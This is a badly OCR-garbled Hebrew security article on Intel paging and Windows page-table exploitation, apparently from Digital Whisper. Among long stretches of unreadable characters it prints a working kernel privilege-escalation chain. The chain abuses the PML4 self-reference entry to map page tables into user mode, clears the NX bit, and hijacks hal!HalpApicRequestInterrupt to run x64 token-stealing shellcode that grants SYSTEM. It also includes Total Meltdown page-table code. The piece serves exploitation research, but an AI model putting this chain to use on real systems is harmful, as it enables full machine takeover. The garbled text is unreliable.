Lo s L 1s s _ 1 S A s *hal'HalpApicRequestinterrigat, S4{*< < _"sx :
1L« x1.,4xs Tox . 14 TOx41414441°414141421 1% x Dl X s¥ L T xS Lo

PENOxA x " 4 | A

~ o~

lkd> dgs 0=x1000000+4cO0+f*3 L1

goooooooT 01000538 f££££800°bL30175z0 hal lHalpApicRegquestInterrupt
kd> =g 0zl000000+4c0+£%+8 41414141°41414141

lkd> dg Oxz1000000+4c0+£f#+8 11

goooooon™ 01000538 41414141°41414141

ld> dg fEf£f££££f ££400000+4c0+£%+8 11

fiffff£f ££d00538 41414141 414714141

A N « hallHalpApicRéquestinterrupt XLt s 7 Sl s Y
x40 x7 0 - vt s ] v s v ], Ox41414%41°4147414% € s L X X
- = s 4L« . X €7 L L] ox . DX X x I Lox " RinJgQ_x,, 1L ZAx . XX, 17 x

.SMEP + SupervisoiMode

X ~|-| =x,,J_1“}I|xx\sA S s X x T ~s"xx<.‘~|_‘,,ss )G|-|‘S,‘P(+~Sx
- X | - X+« . s SRingo-* S e s oL I x < Yserland X 4L~
, - Owners 14 % Do s X1 "PIES x L~ ¢ X ¥4 A PAGEEXECUTE”READ

L X 1s  RAGOX _ ¥ L.~ X . w1 s {Kefnehs #5 4 J x_ SMEP % { 1 *

~

S A T L N 1x Doux 1l ix 1 s ople o xa ),
(A .o

bx o os 0t e x Tt xs DX x s T X xSy 4SS DS { o X e Sy
KM>* HALS Heap* + 4~ _ s 1. s 1 qUserMode” 1 % s * XX xc o xsf [ w4 X 4
Tx L4 e Tx {0 s Tx o, 40 Xx Dy dox 4 xS
-L R IO fos . X ~Shellcodes + 1« xx["x iy Xxo D] X A B
x " oL WallHalpinterruptControlles* o 1 s 1 « <hal'HalpAicRéquestintgrrupt

"x ., 1+«s *Ghellcodes. x " 1 _ 4L .S 4L exqi,4xs I Xx s o

Kernelh 1 Heéps _ 7 Halst | Heapr . 1 {1PTE_XDbit) NXbit-s * « x> ] s 4 s {

i x * Exécutabla ! x s I« DBERPJ  sx T XxXH.1." ~+~LSMEP sY {. 1.
"X x _ Ghellcodd L + » <4 o~ XS s 4X . s T xTNXs! 14¥4 .07 x
s Lx1s Cx 1 Lx .4
Y4 s 4.1 4. v X by e 4qs 18X ws {0 X oxs”
| x U SMEP % 3 x s haldll_ RORchain » x « 4" :s* 1 s 1. x,y_ 7
X ~Xv-|~x ‘.‘v" \.|_~Ropchainj:-|,,¢§xAxX:XX"\.LJ.“le”“S’(:\. ~vv" q

s . X~ | "RORchains « 4 . Stack Pivoting | -~ * 1 _ 1" HALS ¥ LHeap_ " X

Intel Paging & Page Table Exploitation on Windows
www.DigitalWhisper.co.il
101 2018 1, x9Q7x7ex { LY




Technologic

Pivoting ~, "« ¥

Sv e~

.

Stack Pivoting . «~ * L

X S .I

CFG _ XBugeheck _ *+ x halHalpInterruptControllet

+ 1 .~ <hallHalpApicRequestlhtarfuat

ST ¥l Y S b XL ¥ TIXX X

g

r”
a

J

X

.

T RO RIS NN

14

L

S S

.

X

>

L

. Qontrol How Guard)

n X

1 HALs
i

N

LHeap* _ 8 d " 4 Tk
{ X

>

S X < . oL X S

PML4

X

i A

X
4

¢

X { PML4 S PFNS x & ks
ntddk.F*1PXE_SELEMAP

[ I

L

.I

S

“

v~

1 xOX1ED s
. | OXRFEFF6FB 7DBEDF601 s PXES s

CPXE*, X 151 A

kd: Ipte O0=xFFFFFeFBE7DEEDFGE

Va fifffefb’dbednon
PPE at FFFFFeFB7DEEDEGS PDE at FFFFF
contains 200000006EZAFR63 contains 200

——DA——EWN-V pfn 6e3atf

PEE at FFFFFeFBE?DBEDFGS
contain=s S00000006E3AFSR3
pin 6e3af ——DA—EW-V pin 6e3af

kd: r cx3
cr3=00000000ee3afonn

&FE7DBEDFGE
000006E3AFEE3
——DA——KW-¥

X 4L~

‘WinDbg

OwnerBits. 1:x.”

, ¢

«,1 L ! Supervisoit L X 4
1

x s L X ] s L X . " . s

kd> b O0=FFFFF&FB7DEEDFES &7
kd> |pte OxFFFFFoFEYDBEDFGS

Vi fffffafb?dbed0nn
FPPE at FFFFFeFEVDEEDFGR
contains S00000006E3AFEET
——DA——TW-V pfn 6edaf

PEXE at FFFFFeFEYDEEDFGE
contains B00000006E3AFAGT
pin teldaf ——DA——TW-V pfn eelaf

PLE at FFEFFAFEYDEEDFGE
contains B00000006E3AFSGY

———D&——TIV-¥

S

- | x
x x { |

" 1 Ring3-
T4

PMLA L __
SMEP

~ o~

r”

s I, xsi

x
*

1

.

UsekrL L

’”
~

S

]

_ - ~

s 4L
deoisx 4 %L
1 1 Ring 61
,Ofver Bits s+ : 1 4 1 X PTE L, nxbit_ 1 X

1L x 9. X o H

X L

S o

DXL

X

*

1. <

S X X

UserL _1y 1 x ] xq

1 x UsarLx
i

. Ownérs Bitx -

PoadaAdx - omg ks

4 o0t | xs”
146 s

X

X S X ,,

1

” L

~

/S« 4.«

”
*

oo ¥
1 " Page Leveix

xt,L‘§~LAJ¥,’,’

1

~

x X

X s e T 4L x9S

S. S

a

X

L L ]

L 11
Peodd S XS [TAXY ] 4 4C

L

r”

S

I
)

Ix ,
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DX 4T X oAt . s Bugchedkd X ] p 48 XX 1 X 44X X s

L. P44 s rxx s ox s s s Lt T X X e X X JT)X L0

s o x 1l oL vk XdALs X xyxIo s ] 4y T hxe ox o (]x

.PML4* SelfRef Entry* OwnerBits - « <4 07 <« <L«

Lo i A8 s o xx Lt X xS S x Xy oxp X

*xolls o X, /x0T T ey L b

User-*  ~ _ I x< o0 o0 dAd v A e e X
.Mode

Ce oA s PTBS Y s o S04 x L sl e X ox X X n B x T X
Pagewalk _ « * . Ring3* " -, Pxwr 4y 7 PIB ° O HPEN Y ¥ D ]y

S X -PEsL _IPMES-x b 4 417 xx L, s 0 PENS {28 X0 L S Y s X
491 s X xS (*x+Jo v Y X))y PFMi- L L 1 ®7 4y 78 xS

~ ~ A v ~

ix 4 _s 4L s S  E T T o1 N = S T BN

~ ~ ~

AT S L b XL PXE L X RSl s PXESIXY LSS Lt s K

Do v ox X OPXESOXIE0TE S 4N X o Ax o Txo 4. e %
s L x1s Cos TN N CX e * 447 s ¢ ] Lox o 1.
CRXEB S~ v X o oL v d o PMLA L GElfRef Entry Owners 14 ¢t v s o L s

0x100 ~ _ PXE. L 15 , “XPXB., s _4X™xs |'s . s, {671  s.x

etAvailablePxe() {
* pxePointer

1x 4 _ s PENC A4« d41 s x o x. ¥ XU PTEIL ISPXE , x 7 ¢ _ 7L xx ]
PDEs (PFN I , PPB ° IBPFNiL s 141 ) «>Xs X 14 S Lo

~ ~ v

PML4  ~ X4~ ol o XXBEXBL e 4 cdX 0 Xk e ndX ) X T Toxox oA ]

~ ~

X awL X 41T xxp.s A4x 4 s L,Xq4. PEEl .~ Xy ¥xs 0 0xXx 4

~ ~ o~ ~

S d el s SPXBX g Tl T 1«1 ,PENs, (w1 LY s

~ A v
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uselsPte(

index = (

result = (
JBxFFFF <=

|
g

Selfx i " OXBFFF < HY X " DX x Dl sxT.ss . 4 x|
IXPXESS L. .~ "4 <X71o i X" T PDEXRPEPXE . . RefEntry
ST X s L xS i I T D OPRES ] T X Sl s

CX T L PREC X AXPENS S 4y oy . X s {s:

1 x 4L PANS 4 %« 003 x ] v o~ s { ¢«

v X s Ring8: *s 4L~ Y S T BT
* mapAddressTolUser(
¥ pxe = getAvailablePxe();
¥ craftedAddress = useAsPte(pxe);

Supervisot 141 _ : : : " , b2
(s e s XA Xt ) L UBeky I RS Ly s xS L,

L C X PXE < .t . _useAsPtex isl. €1 X xqis]six ]
b4 L XPXBX "%RENS .~ X . oL X" | IPTES | .. rgétAvhitablePxe L _

Cox ox ot

s x. ., {SPageWalks XX . ft, Xxts Ll

X o s PTES D L ARFNs. 1~ L APTES S~ ) s« s

SRR I B

X S IPKBS L L L 4. st v w4 sPageWatks® L Tesst Yl x

~

s 4 TNl {s . 38X I TXxx 4] {s 4 PKE Jxx7{ sCs

L. ¢ X . *0%0000000000000000{ -. (s i« PTE¢ I, Y& 1)

* addressPxe = | *)GetPxeAddress(

*pxe = *addressPxe | @x67;
Sleep(1);
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JUser, Is . PXBS” ( | x s v Ox67Masgks - "« w4 4 X _
L8 X Txox o ] TEBL 1 SS9 TAMT A1 dy Sleeps 447 X 7
.(IA-|s CXox o] Lo -|x>-|vs -|”><V x|
Coe v XL L Ll x 7 " PDPTS i PBNK . osx o Xx Lol 4{% X xo]
sy x4 7x L b q{s DXox o] » C PPESS TiX o deuX so g ]
ol € X - PDPTIPPE s 1~
*)GetPpeAddress( )
ppeOfsset = JaddressPpe & @xFFF;
*pxe = *)craftedAddress+ppe0fsset) | @x67;
s
)addressPde & @xFFF;
*)craftedAddress + pdeOfsset) | ox
= x
edAddress + p'-teD'Fs'_-'.et:J 0x3000000000000000) | Ox67;
0x80000000°000000004 ~ ., XOR + ¥ F 1 Usé&r, x4x” I x s 11, s . X
X S0 X ~ X « PYENXBits 1 ¢ | {-_ >> x ] NXBitL toggle o
. LS = -|”~ ] 1 1st>ss 'x-yls:’-]ss:pTExI _1;-|‘xk,><~”J~ ss.{xs.Hv
1. s Bitwise And _ x « 1> PTB ¢ X NXbifs ) TxqL s 14 % s Do
.OX7FFFFFFF FFFFFFFF
X x U] L I , o» X~ 8 DXox ono X =v'|x\v~ ) i _ s e XL
X X « L A WP X x ] TSX I % X ® YL fXS | IXEX D ]S .| s
.1 94 ] IPFR x
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S < X s : 'I ” HAI:SX LHh’é\a.Rs 'I' n= v"- ” S

arbitraryOrd(
ss = mapAddressToUser(

DebugBrea

=

9;

”

X " x-l

swA e ol x o xZesq L 4 s xDic ] L Ax XD arbitraryargd sS4 w17 X
<o, . PMM4 e, st AL . T s 0 s .1 s OwnerBis | - X+
X 4L~ X . 1 4Ss . 17 x s x ] s | mapAddressoUser - -
:OXFFFFFFFF'FFDOOOOO* x = 1's = 144+ _ xdddress - x 3} 414 F
kds dv
address = Oxfffff6fh’ 7dal2000
kd> dq O=fffffefh’ 7da0z000
fEf££6£R° 7dalZ000 00000000 0OO00000 000000007 00000000
fEf£f£6fh 7dal2010 00000000° 01010600 00000000 00000000
fffff6fh 7dalZ020 00000000 0OO00000 000000007 00000000
fEf£f£6fh 7dal2030 00000000° 00000000 00000000 00000000
fEfff6fh 7dalZ040 00000000 00000000 000000007 00000000
fEf££6fh° 7dal2050 00000000 00O00000 000000007 00000000
fEfff6fh 7dal2060 00000000 00000000 000000007 00000000
fEf££6£fh° 7dal2070 00000000 00000000 000000007 00000000
kd> dg Oxffffffff ££400000
fEFEEL££ ££400000 000OOOON  0000O000 000000007 00000000
FEFEEEEE ££400010 000000ON° 01010600 000000007 00000000
FEFEEEEE ££400020 0Q00OOONN 00000000 000000007 00000000
FEFEEEEE ££400030 00000OOD° 0AO00000 000000007 00000000
fEFFEELE ££400040 00000000 00000000 000000007 00000000
FEFEEEEE ££400050 00000OON° 0OQ00000 000000007 00000000
FEFEEEEE ££A000ED  0000OOON" 0ODD0000 00000000 00000000
EEFEEEEE ££400070 000OOONND 00000000 000000007 00000000
kds dg Oxfffffhfh’ 7dal2000+4c0
fEfffEfh 7dal24cl ffffffff £ffd00700 Eff££800° hH30DG1130
fEfff6fh 7dal24d0 ffffffff ££d00608 000000007 00000028
fEfffEfh 7dal24s0 fffff800°hL30236hcO FfEf£f£B00°hH30Z0£h0
fEfff6fh 7dalz4f0 fffff800° b302bdal ffff£300° h30ZbAcO
fEfff6fh 7dal2500 fffff200°L302EAA0 000000007 00000000
fEfff6fh 7dal2510 fffff800 b302adl0 000000007 00000000
fEfff6fh 7dal2520 fffffA00° LIN45RA0 FfEff£R00°B302=110
fEfffEfh 7dal2530 fffff800° hL3018£00 fff£f£B00° h30175a0
kds dg Oxffffffff ££400000+4c0
FEFEEFEf ££d004c0 fEffffff £fA00700 Fff££B00°BI0OA1130
EEFfEEEE ££4004d0 ffffffff £fd00R0E 000000007 00000028
FEFEEFFE ££d004e0 fEff£800° LIN236cO FEE££R00°BI0Z0£h0
FEFFEELf f£A004E0 fEff£800° L302h4al FEff£f£800° b30ZbBaO
FEFEEEEE ££400500 f£££800° L3I02bAA0 000000007 00000000
FEFEfEEFE ££d00510 ffff£800°hH302ad10 00000000 00000000
FEfEEE££ ££d00520 fffff800 b3IN45RA0 FEEf££800° h30Zelll
FEFfEEFE ££dA00530 fffffR00° LIN1BE00 fEf£f££R00°B30175:0
*xoox x ., 119 s addres$+0x3Q - * Xp x1.*y A X, 1 1¢s B I
:0xFFFFFFFF FFD0O0030
kd> eq Oxffffffib 7dal2000+30 BAADFOODEZADCODE
kds dg Oxfffffffh 7dal2000430 L1
fffff6fh 7dal2030 bhaadf00d baadclde
kd» p
learning_pte!main+l=z45:
00007££7 b43616het 488da5=8000000 lea rsp. [rhp+0Edh]
kdy dq Omffffffff f£d00030 L1
FEfE£££f ££400030 basdf00d baadcide
P2 EoR T BT S P x 14 bx oo/  x s e oex
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CVE20167255.L *x « 47

,rlbxos o 0 o 0| LCVEMY2E5 S s A 1S s il L L LI x T
GDl 41«44 Xx+ 1,0 X Ix. s 1 s ],x.p SIXe " 0~
PI& % s v T4l X, L BitwiseXOF D 4 XL x " Ps i), x s X ]s
L JOwhers, 11 °P*E k5% 4« X 4l _s TN, 3E xS xI X 4 s
« S I+« PML#ISeltRef Edtry* OwnerBit-s -« <400 s o7 o s x]
arbitraryOr4 s 4 . « " x  sarbitraryOr4d s<{{.s« " x s s o4 o X" 14
P xS U vy s O e D EVR201672555 L X s . DX o x Y 4
L Paging Sx vy LX 4" CRINGO-X* TIxxoe .S, SIp_ S IsxX. L7y Lo
Intel
s 44" s s 4 XX i { X, 4, XX 4] x . 4" x"Ux
X "y s

HALs  Heaps (PTE* NXBits = « s1 |7
HALs (Heaps . , Shellcodes - «~ 20 7

, - 1, HALs _ )} Heap”® * _ hallHalpApicRequestinterrupat o1 s 3+ Lx L b
-L 1,1 s s Ox4€0¢ s. _ - OxFFFFFFFF'FFDO000 + O0x4C0 + Ox78 x @ | X
HalpinterruptController s 4 « « " x .1 Ox78x hallHalplnterraptCentrotler

. X "Shellcodec 1 * . _ %

s 7 x s 41 4 1 _halHalpApicRequestinterrupts 4 « « "% L& 7 T x x { |
LY iShélldOde"; , XSheMCQde_ A1 X . x s { . <" X L R x s CL " )
x SHellcodes : . .~ s =« x 'SMBPSuypervisbi, 14 + 4 _ s | x R N

~ oA ~ ~

LS. .ss Do X DEPIRMXBitS” id X" 4 41 T x x|

1 x 7 | xhal'HalpApicReguestinterrupt  + X »~ « L ¥ « x Bhelleode = :, .5 s %
Sl o8 s ARINGOE R XX ¥ e X e X (S X o) s L X
CXx D PRTESL _LNXBItS Coe 1 x s X ihapAddressToUser: 4 Is " 7 , sS4
s _I ” X L X ” 1 ” X Y < -I

* mapAddressToUser(
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pteOfsset =

*originalPte = *originalPte &

Sleep(1);

i . xPTES s

Lsddws sio o q R

:0-. s toggleNxx s |

* addressPte = (
( )addressPte

riginalPte *)craftedAddress + pteOfss

x7FFFFFFFFFFFFFFF;

) *)craftedAddress + pteOfsset) & @x7FFFFFFFFFFFFFFF) | 0x67;

craftedAddress;

main() {

arbitraryOrd( I

]
* address = mapAddressToUser(

DebugBreak() ;

a;

:OXFFFFFFFF'FFDOOOO®PTES - ~ ~ 1 *7”
kd: !pte fE££f££££°££400000
VA ffEEf£££££d400000D
FXE at FFFFFeFE7DBEDFFE FFE at FFFFF&eFB7DEFFFFE FDE at FFFFFeFE?FFEFFEED FTE at FFFFF&eFFFFFFEE00
contains 000000000061E063 contains 000000000061F063 contains 0000000000620063 contains 0000000000001963
rin &le —-D&—KVEV pfn 61f —-DA——KEWEY pfn 620 ——Di&——KWEY pfn 1 —G-D&—KVEV
.Executabla 1 , s | XNXBitssx | {ixxX ] T 47
Fs~_L o s _ A~ X x o] HeapL. _*i8hellcodes. "+, <4454 ss{L, « X5 X
X X = . n X . »
x L R -, Lo {1 A I e~
s O 1 T x., 149 Heaps® «: 4x1.: QD500 w K% %
kd> dg ffffffff ££400000+d50

{1 % . s N

~

ffEEE£££° ££400d50 00000000 00000000 00000000 0O0ODDOO
£fEE££££°££400d60 000000007 00000000 00000000 00000000
ffEEE£££°££400d70 00000000° 00000000 00000000 0000D0000
£fEE££££°££400d80 000000007 00000000 00000000 00000000
ffff££££°££400d90 00000000° 00000000 00000000 00000000
EffEf£££ ££400dal 00000000 00000000 00000000 000O00OD
£fff££££°££400db0  00000000° 00000000 00000000 00000000
EfEEfE££ ££d00dcD 00000000 00000000 00000000 00000000
s 401 _x | aeVatePrivilegésss:{l.1« " X SHKellcodes =+ s« {4 = s Xs
*xoo X © Shélicodes * ¥ _ 1 ) HKalHalpApicRequestinterrupt
.address + 0xD50° 4 v ~ x 1 ~» {1 x HAL: HEAR_BASE + OxB504,. ~ *x 1 ~» { x s
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xT 446 fd44_ s

: Shellcode

arbitraryOrd(

* address = mapAddressTolUser(
HalpApicRequestInterrupt
* chellcodeAddress = ( *)address + @
memcpy (shellcodeAddr

&ElevatePrivileges, 6x58);
*(address + Ac - / 8) = + Bxd50;
DebugBreak(

9;

:breakpoints « 1, hallHalpInterruptController -

ld: dg= poiihal |HalpInterruptController)

fEffffff ££d004=0 fEEE££F££° ££400700

FEEff£££ ££d004c8 ff£££800°b3061130 hal |HalpRegisteredInterruptControllers
fEffffff  f£d004d0 ffff£f£ff°f£400608

ffffffff ££do04de oOQo0O0oOQOO"QoOOOOzZE

fEffffff ££fd00ded f£ff££800°B30236c0 hal |HalpApicInitializelocallnit
fEffffff ££d004ed ff£££800°bL3020£f0L0 hal !Halpipiclnitializelolnit
fEffffff  ££dA004f0 {fff£f£800°b302b4al hal |HalpApicSetPriority
fELfff£f ££d004f8 f££££800°b302b8cl hal |HalpApicGetlocallnitError
fEEEfE£F° ££A00500 {f£ff££800°b302bAA0 hal |HalpApicClearLocalllni tError
fffff£££° ££400508 00000000 QOOCOOOQ

fEfEfE£f  ££4A00510 {fff££800°b302ad10 hal |HalpApicSetlogicalld
fEEE££££° ££400518 00000000 Q0000000

fEfEfE£F  ££4A00520 {fff££800°b3045660 hal |HalpApicWriteEndOf Interrupt
fEEEL£E££°££400528 {f££££800°b3022110 hal |HalpApiclEndOfInterrupt
fEEEfE£F° ££4A00530 fff££fR00°B3018Bf00 hal |HalpApicSetlineState
fEEE£E££°££400538 ff£f£££££° ££400d50

x <4 _Shellcpda” « 1 * « _ hallHalpApitRequestinterruat 1 * « _ s

.I

X ofs  lxx s I x < RTE Ll )"X{HAL,HEAPs BASE+OXDEDS

S

AN

.I

ILx

”

S

kd>

lpte fEE£££££° ££d00d50
VA fEfffE£££££400450

——DA&——EWEV pfn 620 ——DA——KWEV pin 1

PXE at FFFFFeFEVDEEDFF2 FPE at FFFFFcFBYLEFFFFE FDE at FFFFFEFEYFFFFEED FTE =t FFFFEFRFFFFFFEROD
contains 000000000061E0R3 contains 000000000061F063 contains 0000000000620063 contains 0000000000001963
pin 6le —D&——KWEY pfn 61f

—G-DA—-KVEV

F1 140+ _  x "breakpoints | x & « ., "IShellcodes. codink 3 %y « 7

~ ~ ~

:Shellcodes DX "x ., s

kd: g

Brealk instruction exception — code 80000003 {(fir=t chance)

0010 ff££E££££°££d00d50 oo int 3

kd» k &

# Child-SP Retiddr Call Site

0 f££ffd001°d4459368 fE£££800°b3017933 O=ffffffff " ££400d450

fEffd001 d4d59370 f£f£f£f£800°b31chAbe hal lHalRequestSoftwarelnterrupt+0=d3
f£££d4001°d4d595c0 fE££££800°b30bd309 nt!KilnterruptDispatchHolockHoEtw+0xbe

3 f£££fd001°d4459750 f££££800° B3458055 nt I MiComnitExi=stingWVad+0=x329

04 f£f££d4001° d4459860 f££££800 b34587£0 nt!MikllocateVirtuallenory+0=355

kd> p 3

0010 ffffffff " ££d00d51 65488b142588010000 mow rd=. gword ptr g=:[188h]

0010 . ff££££££ 7 ££d00d5a 4cBLEZ220020000 mow r8, gword ptr [rd=z+220h]

0010 ff££££££ 7 ££d00del 4dBLEEL00Z20000 mow r9, gwvord ptr [r8+2F0h]

=S
[ [

[}

[}
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© X« . 1 T halHalpApicRequé&stinterruptr * « _ * +Shelldodes*x " L X« .~ T 47
v bx x " Ring0o®> ! x*xI (], s, ¥4 _ s x7” 1Shellcodes . _ x L |

.Blue Screert L « * " |, {1 SHellcoda + 171: 4 "X 4l 1S

v

'SMEP - THEVD* StackOverflows L X9 L x "o, x| ]

a ~

.~ £ x 1  «halHalpApicRequestinterrupt x  «Shellcodes. .1

°

1 1L HALS  LHeaps . Lx L0 Fos e N R T Y Y. .
. Shelicodes . 1 1 L | o, s oodx” v X - P4, L r AL s
System * « 4« 0 PID¥ T L x4 es s o b Y X oy
dos X oxo Interruptde X o144 s 417 0 v 4 ¥Y.3 s o
=S Lxstp s |ox Shefleodes, ¢ 0 dch s ox oo 0 s x0T X T

cxbx s Shellcede + {1 L

1 1 .Shellcodes . x> x . xX - x _ « ‘Shellcodes~ L~ X w x"Xx 7

ElevatePrivileges PROC
cli

mov rax, 9996909898909096h

push rax

push rdx

push rcx

x xo ] x Sl e r 1 1 1Shellcode” {4 x> 1 S I1X"c0 _x 7 4L FdL X

x ¢s sl x o s D xs Inferrupts L Y v v s Bl YO AT X oL X T
rex Sofdx o~ v Y o x 107 s X raxi 417V e 4% 4w 4R KX
X LoX o r dhal'HalpApicReguestinterrupt. . - * x - 1 * s 4, 7 X S R
X "L , Tl P X DX . AT T L Y XX XX LRy XX g

L [ I Fxe4t ], Lexd 8 A rd s Y 8 rdeXrgx ok 41 X

~ ~

F S 4L ~ X L s ., " ] ] s {4 .« "X

A v o~ ~ ’ >

1 ~ x Shelicodes - L 171+, {1 IShellcodes | _ _ s

; Find current process
mov rdx, gs:[188h]
mov r8, [rdx+226h]

r9, [r8+2fBh] ; ActiveProcesslinks
rex, [r9]

rbx, rbx

rax, rax
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-S

. EPROCESS
1.

S

L F S raxx rbx

A

_ - Systeém ., Tokens

. P . X 7o k

L 1. S Lou X

r 1 . ERROCESS

x 14y
{"

)SX:LJS M-

IRETS BV TSN

ActiveRrocessLinks ~

s . s

T I

:ActiveProcessLinks

find_processes:
mov rdx, [rcx-8]
cmp rdx, 4
jz found system
cmp rdx, 1337
jz found process
mov rcx, [rcx]

EPRQCESS! d | s -

L s { . .

~ ~

; UniqueProcessId

jmp find_processes

found system:
mov rax,
and al, @féh
cmp rbx, @
jnz swap_token
mowv

rex, [rex]

[ rcx+68h]

; Token

jmp find processes

found process:
lea
cmp
jnz

rax, @
swap_token
mowv

rex, [rex]

rbx, [rcx-2feh]

jmp find processes

+ ¥a¥) SyStem . Tokens
» X X-10x1337 w Kospo¥x 7y

Y X s | 4 x
PIDs{ , s * g
1410 PIBL L~ s X

‘Tokens = L 1s -«

swap_token:

mov [rbx+358h], rax

recover:
MoV rax,

mov

effFFFFFFfFfdees3sh
rbx, 9890989898989096h

mov quword ptr [rax], rbx

rcx
rdx

rax

pop
pop
pop
sti
Jjmp

ElevatePrivileges ENDP

END

X ”l_-l:\.x P

~ S

e 1 _rdx

A 4L

A ~ o~

L X L S N X X

_XX"‘-L\W

"l ALs s

I14ves 0, xf€

111
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1.~

rax -~ ¥ hallMalpApicRequestinterrupt 1 X . _ s v s x *x o1 ]s
Lo XX D IX s oL T S gy L TR s ] W XXXy ] T
rax ~ 191 _  fxX 18, s+« + 4.1 ‘hal'HalpAgicRequestidterrupt 1 +
hal'HalpcApicRequestinterrupt s «~ 4 ~ X+ © s« Xxs” . 4> s 4, |s .
- ¢ T« v rdxXrexr pop , X7 , | Shellcddes. X", x « s s 4 7
Lo *xolo]s S ra¥L Tpop |, ~ * 7 L S 47 x s T I
-L , X st " xo . ¢ Interrupt-s Lyl -~ habHalpApiCRequestinterrupt
.hallHalpApicRequestInterrupt
s . 4.Shéllcode™ + 1 _ - "s w44 x4 s mains, XTI
aﬁhit;a;yﬂr4ﬂ
* address = mapAddressTolUser( > 1);
HalpApicRequestInterrupt = *(address + (8x4C8 + 8x78) / 8);
* chellcodeAddres ( *)address + 8
memcpy(shellcodeAddress, &FlevatePrivil
*3(( ) Px3) = HalpApicRequestInterrupt;
= currentPid;
C) = HalpApicRequestInterrupt;
*(address + (@x4C0 + Ox 3) + 0xD508;
:Shellcodes * « ~ 1> 7 x  {0ebuBreale s 41~ d3
kd: uf 0=zffiffafb’7da0ldsn
Flow analy=zi=z was incomplete, some code may be missing
fifffefb" 7dallds0 fa cli
fifffeib 7dalldbl 48bLE905905909090909090 mov rax,9090909090909090h0
fifffefb”?dalldtb 50 pu=h rax
fifffafb" 7dallded 48831£539050000 cmp rd=z,53%h
fifffafbh’ 7dalldef 7416 je fifffafbh’ 7dallda? Eranch
fffffefh  7dalldbe 488958358030000 mow gword ptr [rbx+358h]. rax
fifffoib’ 7dalldel 48LB3A0EA0fEE££££££f mov rax. OFFFFFFFFFFDOOS 38N
fifffeib’ 7dalldea 48bb9090909090909090 mov rbx. 9090909090909090k
fffffefb  Ydalldd4 488918 o gword ptr [rax].rb=
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+ 41 4x " { _ sShellcodest *: « 1% 1% "

fefb" 7dalildt0 fa =li
fefb  7dalld5l 48bE8cO0?7501b300f8EEff mov rax.offset hallHalpipicRequestInterrupt (fL£££800° bL30175c0)
f6fh’ 7dal01d5bL 50 push TaE

fffff6fb 7da0ld8gd 4881{a780=0000 cmp rdx. 0E78h
fffff6fb 7dalldaf 7416 je ffiff6fb’ Ydallda? Eranch

fffffefbh” 7da0ldbs 48898358030000 mow gword ptr [rbx+358h].ra=x

fffffefbh” 7da0ldc0 48b83B0SA0LEE£E£E£££E££f mov rax, OFFFFFFFFFFDO0S3E0

fffffofb” 7dalldca 48bbe07501b300fEEEEf mov rbx.offset hal|lHalpApicRequestInterrupt (ff£f££f800° b30175z0)
fffffefbh” 7dalldd4 488918 nov gword ptr [ra=z].rbx

+ S Shelleodes =+ 41~ X X L 1 xs F 147 x4 <9 s

a >

SYSTEM: X « _ . s x " | x.” Shellcodes *~ 1 «A__ XX T.Aw 51 x "

CrgLE TTTOTIITTED TYFE

¥ Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-KVAASL 1\test]

File Options Wiew Process Find Users Help

= eI =1E Y ST || ] |
Process PID  User Mame Inteqrity

- gl cmd .exe 4632 DESKTOP-KVAATL 1'test Low
B conhost .exe 4640 DESKTOP-KV4AIL 1 \est Low

5072 NT AUTHORITY\SYSTEM System
& cmd exe 5084 NT AUTHORITY™SYSTEM System

CPU Usage: 27.27% Commit Charge: 28.32% Processes: 52 Physical Usage: 44.59%

. s X XGitHub® "« x Y fu sT L 4" exploits 45« X X
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Lo X o 450X s Y . xs Total Meltdolvn s § 8 X 1 sx 7 44 . x 7", | Cs v
s 14X s L0 X T x e s _ L . Meltdown-1 Microsoft! *  x " |
S xx ] i leAuts.so T4 11+« 14ZelfRef-Enthss  LOwner, X 1 .

_SNLX] L 7L x”Z‘v 14, <
L ~" 1t 41~ SelfRef Entrnrd  OwnerBits .+~ 1 s Fotal Meltddowny , = | * x

Technologic

CVE 2014038- Total Meltdown

x 7oxoo, ] . Tx oL 149 o S T B S T FlAd 41
(¢ xss 4 RGO "Hxw  H. sl ,r ¥
Sl x T s x 1 X, X x| Paging* " _ T % "% s
X1 D Micresoftd Xk x o« 0 4 L 4 x x4, T ox X x D], X x "X
s*, s 4 _ 1¢ s 1€ L x1s2018s, . x OOB ~% ] L x yx g 4 & Xs
< x X Meltdowrf, T ox <« 4 ¢« 4 Mickosoft X o~ S K . A p 4 XL x0T X
sX¥ ., e, x" s oy x 1 v qd S .
I x o0 s "wx I1s1 xXPN  I.-11 ' (~ TotakMelddown . x ,« 1~ L XL
1¢4 s 30GB, 196 s 1 oodx o4 dex o s o x s x4
T4 x L7 LX) . XS I x o s 1 ¢ x 1 1 x
X s

iPML4,
DWORD done

(iPML4 = 256; iPML4 < 512;
vaPML4e = PML4 BASE+ (iPML4 << 3);
it (%

vaPML4e, vaPDPT,

iPML4 ++) {

iPDPT,

*) vaPML4e) { continue ;

*) vaPML4e = 0x10067 ;

vaPDPT = PDP_BASE+ (i PML4 << (9 * 1 + 3));

printf  (

for

}

(iPDPT = 0; iPDPT < 31; iPDPT++) {

*( *( vaPDPT + (iPDPT << 3))

. iPML4);

, VvaPDPT);

= 0x11067 + (iPDPT << 12);
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(iPDPT = 0; iPDPT < 31; iPDPT++) {
if (( iPDPT % 3) == 0)
printf  ( );

vaPD = PD_BASE+ (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf  ( , vaPD);

for (iPD = 0; iPD < 512; iPD++) {

#( vaPD + (iPD << 3)) = (( iPDPT * 512 + iPD) << 21) | Oxe7;

xL _ 11 EPROEESS - + _ , 1System!.~Tokens : « > x 7"y, 7"
«xs ]l q4Lrs s L« JImageFileName |- v 1wl X Ks s 41 .0 X
XL O XPNXpL %% 4 0 x X s X 7, sThkend U X 17 ¥ Systemi i T 417

s ¢ IR X ox oo
L DX X x0T o o x s 4y by
s 4 T x X x "y 11 K e x 1.4 x 7T xwdNqy ts ] X
S o0, sxxo s oo v AL, x4y dmapAddressTolUser- x X x .
XPN ¥ 4. s _ Redstane2 .+ 1S5 _«._ s x4 o  HAL Heap * x " {
S X x D Windows 10 s X . 0 x {1 X {Pagel TablesSuxx .. 4¥"X. ¥ _ L S

.SelfRef Entry

Intel Paging & Page Table Exploitation on Windows
www.DigitalWhisper.co.il
115 2018 1, x9Q7x7ex { LY




Technologic

X 4T ddes L tx e T o COXAN R T X Ty

v Ux Tl es 14Xy .S x25¥ ) 1 X SEPRGCESST - _ s

~ > v <

SYSTEM: X« _ . s J4Ls:i L x. " xs DX

icrosoft Windows (Version 6.1.7681)
